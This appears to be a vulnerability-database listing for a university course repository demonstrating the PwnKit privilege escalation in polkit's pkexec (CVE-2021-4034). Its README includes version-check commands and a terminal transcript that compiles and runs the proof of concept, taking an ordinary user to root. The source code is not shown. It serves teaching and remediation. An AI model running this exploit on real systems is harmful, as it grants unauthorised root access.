CVE-2021-4034 PoC — polkit 缓冲区错误漏洞

Source

https://github.com/Milad-Rafie/PwnKit-Local-Privilege-Escalation-Vulnerability-Discovered-in-polkit-s-pkexec-CVE-2021-4034

Associated Vulnerability

Title:polkit 缓冲区错误漏洞 (CVE-2021-4034)
Description:polkit是一个在类 Unix操作系统中控制系统范围权限的组件。通过定义和审核权限规则，实现不同优先级进程间的通讯。 polkit 的 pkexec application存在缓冲区错误漏洞，攻击者可利用该漏洞通过精心设计环境变量诱导pkexec执行任意代码。成功执行攻击后，如果目标计算机上没有权限的用户拥有管理权限，攻击可能会导致本地权限升级。

Description

Software Vulnerabilities and mitigation university course, to show exploitation and remediation caused by this vulnerability

Readme

# PwnKit-Local-Privilege-Escalation-Vulnerability-Discovered-in-polkit-s-pkexec-CVE-2021-4034-
Software Vulnerabilities and mitigation university project, to show exploitation and remediation caused by this vulnerability.
We used for this experiment Ubunto version 16.04 LTS, as well and Debian 10.1.0 which will be shown in the experiment.
setting up the environment was essentail since you need always to verify the version you work on to be sure it's vulenrable or not.
checking commands used : dpkg -l | grep polkit, pkexec --version

# CVE-2021-4034
PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit’s pkexec (CVE-2021-4034)

https://seclists.org/oss-sec/2022/q1/80  
https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

# PoC

Verified on Debian 10 and Ubunto 16.0.4

```
user@debian:~$ grep PRETTY /etc/os-release
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
user@debian:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
user@debian:~$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
user@debian:~$ ./cve-2021-4034-poc
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),1000(user)

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└── [1.3K]  README.md

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